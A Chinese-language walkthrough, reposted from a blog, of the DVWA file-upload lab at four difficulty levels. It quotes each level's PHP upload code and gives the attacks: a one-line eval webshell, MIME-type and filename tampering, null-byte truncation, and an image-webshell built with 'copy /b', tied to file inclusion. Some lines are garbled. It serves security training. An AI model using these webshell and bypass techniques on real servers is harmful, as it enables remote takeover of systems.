鳴謝(本文大部份內容均轉載自):php
http://www.storysec.com/dvwa-file-upload.htmlhtml
文件上傳漏洞是指服務器在接收用戶上傳的文件的時候,沒有嚴格地加以限制和過濾,web
若是黑客上傳了木馬,也就是常說的「掛馬」,進而拿到了webshell,就能夠隨心所欲了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~shell
Low:服務器
if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //網站根目錄+上傳文件目錄 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //加上取上傳文件的名字 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }
對咱們上傳的文件的類型幾乎沒有任何限制,上傳一個最簡單的一句話木馬便可session
<?php @eval($_POST['zzz']); ?>
獲得在:http://192.168.141.129/dvwa/vulnerabilities/upload/#網站
下的路徑:../../hackable/uploads/shell.php加密
即:http://192.168.141.129/dvwa/hackable/uploads/shell.php3d
菜刀一連便可成功orm
Medium:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
對上傳的文件的類型和大小進行了檢驗和篩選——只有jpeg/png才能上傳成功,且大小必須小於100000b
有三種方式拿webshell,首先介紹兩種:
咱們的目標很明確——上傳一個.php的木馬,可是要繞過服務器的格式檢驗。
那麼服務器是如何檢驗咱們上傳的文件的格式的呢?很簡單——經過檢查咱們上傳的文件的type屬性(FILES['uploaded']['type'])
而最後存儲在服務器的文件,它的格式由什麼決定的呢?是由它的名字,而它的名字又由什麼決定的呢——上傳的文件的name屬性(FILES['uploaded']['name'])
<form enctype="multipart/form-data" action="#" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose an image to upload:<br /><br /> <input name="uploaded" type="file" /><br /> <br /> <input type="submit" name="Upload" value="Upload" /> </form>
這是上傳表單的源代碼,能夠看到,FILES['uploaded']肯定了咱們上的文件
因此有兩種payload:
一、本地爲shell.php,經過改包,將其Content-Type屬性改成image/jpeg
Content-Type屬性一旦被改成image/jpeg,FILES['uploaded']['type']取出來的就是'jpeg',繞過了檢驗,
可是此時它的名字filename是shell.php,最後存儲在服務器上的仍然是shell.php,菜刀一連,成功
二、本地爲shell.jpeg,經過改包,將其filename改爲.php格式的文件
這樣,最後服務器也會把它當成php文件保存
不管是哪一種方式,bp改包以後都應該是:
Payload3:
還能夠直接上傳.png文件,不過無法執行、、
因此咱們能夠和文件包含攻擊的Medium結合起來,用?page包含了咱們的shell.png,而後菜刀一連....
Medium的文件包含能夠絕對路徑本地包含也能夠遠程文件包含,因此在菜刀中如此編輯:
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\phpTutorial\WWW\dvwa\hackable\uploads\shell.png
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=htthttp://://www\dvwa\hackable\uploads\shell.png
High:
核心檢驗代碼:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
substr(string,index):返回string從index開始剩下得全部部分
strrops(string,find):返回find在string中最後一次出現的位置
substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
也就是取出了文件的擴展名
getimagesize()用以獲取文件大小等信息,更是嚴格限制了文件類型必須爲圖片類型
因此咱們必需要繞過兩個東西:
一、擴展名檢驗
二、getimagesize()檢驗
關於擴展名檢驗很簡單,能夠利用%00截斷,也能夠利用文件包含攻擊
下面是如何繞過getimagesize()檢驗:
有過MISC經驗的同窗,必定對圖像文件頭有了解:
JPEG/JPG:文件頭標識:FF D8 文件尾標識:FF D9
PNG:文件頭標識:89 50 4E 4F 0D 0A 1A 0A
圖片馬 的製做:
cmd下:
copy a.png/b+b.php/a c.png
而後直接上傳便可,不用抓包改包
菜刀一連,可拿webshell
Impossible:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
基本能夠被打到自閉了、、、、
這裏能夠看到,對文件名進行了md5加密,幾乎不可能%00截斷繞過了